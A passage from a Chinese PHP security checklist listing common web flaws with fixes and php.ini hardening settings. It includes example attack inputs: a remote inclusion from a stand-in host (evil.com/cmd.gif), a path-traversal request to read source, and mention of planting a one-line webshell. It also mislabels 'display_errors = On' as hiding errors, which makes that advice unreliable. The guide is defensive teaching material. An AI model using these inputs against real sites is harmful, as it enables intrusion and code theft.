include ("$cfgdir/site${site}.php"); //把$cfgdir 这个路径里的site${site}.php 包含进来
可以把变量$site 指定远程文件http://evil.com/cmd.gif 去调用,也可以是本地的一个文件
解决方案:
php.ini 里的allow_url_fopen 设为off 禁止远程使用文件
2.文件目录列表
目录列表,下载重要文件
解决方案:
open_base_dir 禁止使用目录列表,或每个目录下都存放一个index.html,推荐第一种
3.文件操作函数导致源代码泄漏(fopen(),file(),readfile(),openfile())
$articlearray=openfile("$dbpath/$fid/$tid.php"); //打开$dbpath/$fid 这个路径的$tid.php 文件
$topic_detail=explode("|",$articlearray[0]); //用分割符|读出帖子的内容
构造/read.php?fid=123&tid=../index 可以查看上级index.php源代码
fwrite() 写入一句话***
unlink() 传入任意文件,删除任意文件
解决方案:
过滤特殊字符
4.任意代码执行
eval(),preg_replace(),exec(),system(),popen(),proc_open(),proc_close()
提交可执行代码和系统命令
解决方案:
使用escapeshellarg()或escapeshellcmd()函数过滤
5.特殊字符过滤
../ win路径隐患
..\ win和linux路径隐患
< > 跨站脚本***xxs
‘?? 执行系统命令
; | 截断程序流程
6.php的一些安全配置参数
safe_mode_gid = On? //开启安全模式,会禁止系统命令执行函数
register_globals = Off //关闭全局变量,防止变量覆盖漏洞
php_admin_value open_basedir /usr/local/apache/htdocs //限制php文件操作目录为网站根目录
allow_url_fopen = Off //关闭远程文件打开功能,防止include(‘‘)文件包含一句话***
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
#防止读取任意文件和执行任意命令,限制上传目录权限
open_basedir = "/usr/local/apache/htdocs/" #限制允许操作的父目录
#命令执行漏洞可以用escapeshellcmd()函数过滤传入的命令参数,后再使用,杜绝命令执行漏洞
</Directory>
error_reporting = E_ALL & ~E_NOTICE //屏蔽警告信息
display_errors = On //屏蔽错误信息
log_errors = On? //开启错误日志
error_log = /usr/local/apache/logs/php_error.log //错误日志存放目录
disable_functions = phpinfo, get_cfg_var //禁用一些危险函数可以放在这里
?